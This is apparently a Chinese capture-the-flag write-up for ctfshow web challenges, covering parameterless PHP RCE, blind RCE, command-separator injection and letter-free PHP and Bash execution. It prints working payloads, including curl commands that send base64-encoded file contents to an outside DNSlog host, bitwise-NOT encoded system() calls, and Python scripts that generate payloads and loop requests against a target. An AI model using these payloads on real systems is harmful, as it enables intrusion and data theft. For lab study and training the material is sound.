ctfshow靶场------Web应用安全与防护(第二章):
- PHP无参数RCE :利用
localeconv与scandir等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。- 无回显命令执行 (Blind RCE) :通过
>将结果重定向至Web目录文件,或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。- 命令拼接注入与前端绕过 :使用分号
;或||截断原有命令上下文,配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。- PHP无字母数字RCE :利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于
eval环境中动态还原函数名与参数。- Bash无字母数字RCE :利用 POST 请求生成的
/tmp/临时存放文件写入明文恶意命令,并依靠. /???/????????[@-[]等纯符号通配符盲打执行。
文章目录
-
- 一句话木马变形
- 反弹shell构造(极其重要!!!)
-
- 知识点
- 方法一:重定向写入文件
- [方法二:OOB 外带数据 (Out-of-Band)](#方法二:OOB 外带数据 (Out-of-Band))
- 管道符绕过过滤
- 无字母数字代码执行(重要)
- 无字母数字命令执行(重要)
- 总结
一句话木马变形
适合纯新手入门使用,难度极低。
知识点
本关考察 PHP 无参数远程代码执行及字符过滤绕过技术,核心在于利用内置函数嵌套动态生成参数。具体流程为:
首先通过 current(localeconv()) 构造出点号(.)并传入 scandir() 获取当前目录文件数组;
接着由于目标文件位于原数组倒数第二位,需使用 array_reverse() 翻转数组,再配合 next() 函数提取出目标文件名;
最后将该文件名传递给 show_source() 函数以输出文件源代码。
这里我们打开网页,得到如下页面:

尝试输入PHP语句,返回了报错:

bash
# 只允许使用字母、数字、下划线、括号和分号
Error: Invalid characters detected! Only letters, numbers, underscores ,parentheses and semicolons are allowed.
可以看出,后端的过滤规则极度严格:
- 禁止了
空格、引号(单双)、美元符号($)、点号(.)以及各种运算符。 - 这意味着你无法直接使用字符串 system("ls")等命令执行函数;
既然常见的方式无法绕过:
- system,tac,cat,nl,head,more 等函数;
- phpfilter / data 伪协议
- include文件包含
还有很多方法,大家感兴趣可以看我的专栏:CTF靶场命令执行部分
原理讲解
接下来这个绕过方法,很久之前我就用过,只不过不常见:
(具体原理可以看这篇文章)
bash
# 1. 查看当前目录下的文件:
print_r(scandir(current(localeconv())));
# 2. 读取 Flag 文件
# 如果 flag.php 是数组的最后一个:
show_source(end(scandir(current(localeconv()))));
# 如果 flag.php 是倒数第二个(紧挨着最后一个)
show_source(prev(scandir(current(localeconv()))));
# 但是flag在第三个怎么办?可以用array_reverse函数
show_source(next(array_reverse(scandir(pos(localeconv())))));
核心原理就是 "像搭积木一样造出所需参数",完美绕过字符过滤:
- 造出
.(当前目录):localeconv()返回本地化信息数组,其第一项固定是小数点.。- 用
current()取出它,就等同于写了字符串"."。
- 用
- 读目录:
scandir(".")读取当前目录,返回包含所有文件名的数组- (如
['.', '..', 'flag.php'])。
- (如
- 定位文件: 利用数组指针函数精准抓取
flag.php这个字符串:- 若在最后一位:用
end()取出。 - 若在倒数第二:不能直接用
prev()(因为刚生成的数组指针在第一位,往前会越界报错),应该用next(array_reverse(...)),即先翻转数组,再取第二个。
- 若在最后一位:用
- 出结果: 外层套上
show_source(),直接打印出目标文件的源码,拿下 Flag。
具体步骤:
(1)print_r(localeconv()); 得到小数点. 所以接下来可以使用 scandir('.') 打印出当前目录:

(2)打印出小数点.,搭配 函数使用
- current() 函数返回数组中的当前元素(单元),默认取第一个值,
- pos() 同 current() ,是current()的别名
- reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
打印当前目录:print_r(scandir(pos(localeconv())));

(3)根据文件的位置查看内容:
因为是第三个,所以使用payload:show_source(next(array_reverse(scandir(pos(localeconv())))));

反弹shell构造(极其重要!!!)
适合纯新手入门使用,难度极低。
知识点
本关考察无回显 RCE(Blind RCE)的两种经典解法:
- 重定向写文件 :在 Web 目录可写的情况下,利用
>将命令结果输出到自定义 txt 文件中,再通过浏览器直接访问该文件查看回显。 - OOB 数据外带 :在目录不可写但服务器出网的情况下,利用
curl或ping,将命令结果(常配合 Base64 编码)拼接到外部接收平台的地址中发起请求,最后在外部平台的日志记录里间接读取数据。
这里我们输入whoami,id等命令,但都是返回固定结果:

这是一个典型的无回显 RCE (Blind RCE)。后端的代码确实执行了你传入的系统命令,但并没有将命令的标准输出 (stdout) 返回给 HTTP 响应体,而是返回固定的结果;
方法一:重定向写入文件
如果当前的 Web 目录具有写权限,你可以直接将命令执行的结果重定向(> 或 >>)到一个新的 txt 或 php 文件中,然后直接通过浏览器访问该文件读取结果。
相应文章:命令执行web43-44关
输入如下命令:
bash
cp flag.php out.txt

随后访问 https://xx.challenge.ctf.show/**out.txt** 即可得到结果:

也是得到结果;
方法二:OOB 外带数据 (Out-of-Band)
如果 Web 目录不可写(例如没有权限或被限制),但服务器允许出网,你可以利用 curl 或 wget 将执行结果作为 URL 的一部分请求你自己的服务器或 DNSlog 平台。
- 常用网站:http://www.dnslog.cn/
- 测试 Payload:
code=curl http://你的DNSlog地址.com/?data=$(whoami) - 拿 Flag Payload:
code=curl http://你的VPS或DNSlog地址/?data=$(cat /flag | base64)
这里我尝试了两条命令:
bash
# 查看当前目录文件列表:
code=curl http://gojo4j.xxxx.io/?d=$(ls | base64 -w 0)
# 读取 Flag 文件
code=curl http://gojo4j.xxxx.io/?d=$(cat flag.php | base64 -w 0)

执行命令后,DNSlog平台均有相应:

随后查看http响应记录:可以看到ls的结果,以base64编码返回到url里


随后查看flag.php的内容(第二条命令):

成功返回结果:


管道符绕过过滤
适合纯新手入门使用,难度极低。
知识点
-
命令拼接注入 :利用分号(
;)或逻辑符(||)等管道符打断原有命令上下文,从而追加并执行自定义的恶意系统命令。 -
源码查看与重定向 :直接读取
.php文件时,代码易被浏览器作为标签解析而隐藏(需按 F12 看网页源码);使用>将结果重定向至.txt文件可直接在网页查看。 -
编码输出绕过 :通过
base64命令将目标文件内容编码为纯文本字符串输出,能完美无视前端浏览器的解析干扰和后端的字符过滤,提取后再解码即可。
打开页面,发现输入命令,都会返回ls {输入的命令} execute success!

尝试:输入whoami

猜测:系统固定执行
ls {输入参数}的命令;
- 所以我们应该可以查看所有的文件;
- 尝试输入
/代表列出根目录的所有文件;
结果果然如此:

随后我又找到了flag.php的位置:/var/www/html

后面又尝试了其他命令:利用 Linux 的命令分隔符,"逃逸" 出前面的 ls 命令限制,从而执行真正需要的读取操作(如 cat)。在
- 分号 (
;) 顺序执行 :输入/; cat /flag或/; cat flag.php。系统会先执行ls /,执行完毕后接着执行你的cat命令。 - 逻辑或 (
||) 短路执行 :输入fake_dir || cat /flag。故意给ls提供一个不存在的目录使其报错,进而触发后面的cat命令。 - 逻辑与 (
&&) 拼接 :输入/ && cat /flag。 - 管道符 (
|) :如果不知道 flag 的具体名字,可以先尝试输入/; find / -name "flag*"或| ls / | grep flag进行搜索定位。
很遗憾,都失败了;
绕过方法
这里我突然想到能不能换行试试,果然有变化:
方法一:重定向
所以这里也有两种方法:直接查看flag.php的内容 和 重定向到out.txt 再进行查看:

同样能够得到结果:

方法二:直接查看flag.php内容
没有内容?

其实查看源代码就行了:

方法三:编码输出
后端核心的漏洞代码(最重要的部分)大概率长这样:
php
$code = $_POST['code'];
// 1. 打印你看到的拼接提示语
echo "ls " . $code . " execute success!\n";
// 2. 危险函数直接拼接并执行,导致了命令注入
system("ls " . $code);
拼接后的完整命令为 ls /; cat /var/www/html/flag.php;
绕过原理 是利用 Linux Shell 的多命令分隔符(如分号 ;),强行打断原有的命令上下文,使系统在执行完预设的 ls 操作后,将后续拼接的输入作为独立的全新系统命令予以执行。
bash
# 把文件内容转成 Base64 字符串输出,这样就不会被浏览器吃掉标签:
/; base64 /var/www/html/flag.php
# 正常读取 + 查看网页源码
/; cat flag.php
结果如下:

无字母数字代码执行(重要)
适合纯新手入门使用,难度极低。
知识点
本关考察无字母数字的命令执行绕过 。当 WAF 严格过滤了全部字母和数字时,我们可以利用 PHP 的动态函数执行与位运算(如取反 ~)特性。
原理是预先将需要的函数名(如 system)和参数的 ASCII 码进行位取反,转换为由 % 和十六进制组成的不可见字符编码;
当后端 PHP 引擎执行由单引号包裹的 (~'不可见字符编码') 时,会将其再次取反,在内存中完美还原为正常的英文字符串并执行,从而巧妙避开所有正则过滤规则。
这里尝试输入命令,发现提示:Error: Invalid shell code!

输入数字123,也是同样的结果;
绕过方法:取反构造法
这是一个经典的无字母数字 Bypass 题型。当 WAF 严格过滤了 [a-zA-Z0-9] 时,常规的函数名和参数都无法直接输入。
解决的核心思路是:
-
利用 PHP 的位运算符(如取反
~或异或^)与不可见字符(不可打印的 ASCII 码)进行运算,在内存中动态生成我们需要的字母。 -
在 PHP 7 及以上版本中,最简单高效的方法是取反构造法。我们可以对需要的字符串逐个字符进行取反运算,转成十六进制的 URL 编码。
-
相应的的文章:命令执行web57关
由于这些 Payload 包含大量的 URL 编码符号 %,直接在网页输入框里填可能会被浏览器二次转义或截断。建议抓包后在 Repeater 中修改参数:
执行 phpinfo();
text
code=(~%8F%97%8F%96%91%99%90)();
(原理解析:%8F 取反就是字母 p,依此类推拼出 phpinfo,外层加括号当成函数调用)
这里我们执行后,成功返回phpinfor页面:

payload生成脚本
日常刷题时手动算取反太麻烦了,可以顺手写个 Python 小脚本,在本地终端里直接生成你想要的任意无字母数字 Payload:
python
def generate_payload(func, arg):
# 对函数名取反
func_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in func])
# 对参数取反
arg_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in arg])
# 修改为带单引号的格式
payload = f"(~'{func_encoded}')(~'{arg_encoded}');"
return payload
# 生成 system('cat flag.php') 的 payload
print(generate_payload("system", "cat flag.php"))
这里直接构造命令:system("cat falg.php");
bash
# cat flag.php结果
(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F');
# 查看当前目录
(~'%8C%86%8C%8B%9A%92')(~'%93%8C');
得到结果:

无字母数字命令执行(重要)
名字与上一关很像,我猜测原理应该也差不多;(但是上一关的payload无法使用)
知识点
- 为什么上一关的
(~'%8C...')(~'...')在这里失效了?- 因为上一关的底层代码是 PHP 的
eval($_POST['code']),所以它能解析 PHP 的取反位运算符。 - 而这一关,从输入框默认的
whoami以及报错回显可以看出,底层又变回了 Shell (Bash) 命令行执行 (类似于system("ls " . $_POST['code']);)。
- 因为上一关的底层代码是 PHP 的
这里必须祭出 CTF 无字母数字 RCE 的绝对方法:"临时文件上传 + Shell 路径通配符"盲打。
绕过方法
- 上传文件 :当我们向 PHP 服务器发送一个包含文件上传的 POST 请求时,PHP 会把文件默认暂存在
/tmp/目录下,并随机生成一个包含字母和数字的文件名,比如/tmp/php1A2b3C。 - 隐藏杀机 :上传的这个文件的内容是不受任何 WAF 过滤的 !所以我们可以在文件里不受限制的写上完整的
cat flag.php。 - 通配符执行 :我们在
code参数里利用 Bash 的.(source 命令,用于执行文件) 和?通配符去盲猜并执行这个临时文件。
为了不用字母,我们将路径写成:/; . /???/????????[@-[]
/???匹配/tmp????????匹配php1A2b3C的前 8 个字符。[@-[]是一个 ASCII 范围匹配,专门匹配大写字母(因为临时文件的最后一位很大概率是大写字母)。
解决方案:一键发包脚本
因为临时文件的最后一位是大写字母的概率大概是三分之一,如果在 Burp Suite 里手动发包需要点好几次,比较折腾。所以建议在本地运行下面这段 Python 脚本,它会自动帮你把 得到Flag :
python
import requests
# 1. 替换为你当前题目的实际 URL
url = "http://2511d1d3-19ce-402a-8578-8c77120dcaf7.challenge.ctf.show/"
# 2. 我们要上传的恶意文件,内容是明文命令(这里假设读 flag.php)
files = {'file': ('1.txt', 'cat flag.php')}
# 3. 注入的无字母数字 Payload
# 意思是:截断 ls 命令,然后执行 /tmp/ 下刚才上传的临时文件
data = {'code': '/; . /???/????????[@-[]'}
print("开始盲打,尝试匹配临时文件后缀...")
# 循环发送,直到临时文件的随机名以大写字母结尾被我们撞上
for i in range(20):
try:
response = requests.post(url, files=files, data=data)
# 如果回显中包含了我们想要的结果(避开默认的 execute success!)
if "flag{" in response.text or "<?php" in response.text:
print(f"\n🎉 第 {i+1} 次尝试命中!成功拿到回显:")
print(response.text)
break
else:
print(f"第 {i+1} 次未命中 (临时文件尾号非大写),重试中...")
except Exception as e:
print(f"请求报错: {e}")
运行说明:
直接运行这个脚本,它会不断向服务器扔包含 cat flag.php 的临时文件,并用纯符号命令去尝试执行它。一旦碰巧系统生成的临时文件名以大写字母结尾,命令就会被成功执行,就会直接得到flag;
很幸运,只执行一次即可得到结果:

总结
本章涉及到的知识点还是很多的:
- PHP无参数RCE :利用
localeconv与scandir等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。 - 无回显命令执行 (Blind RCE) :通过
>将结果重定向至Web目录文件,或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。 - 命令拼接注入与前端绕过 :使用分号
;或||截断原有命令上下文,配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。 - PHP无字母数字RCE :利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于
eval环境中动态还原函数名与参数。 - Bash无字母数字RCE :利用 POST 请求生成的
/tmp/临时存放文件写入明文恶意命令,并依靠. /???/????????[@-[]等纯符号通配符盲打执行。
希望大家温故而知新,期待下次再见;

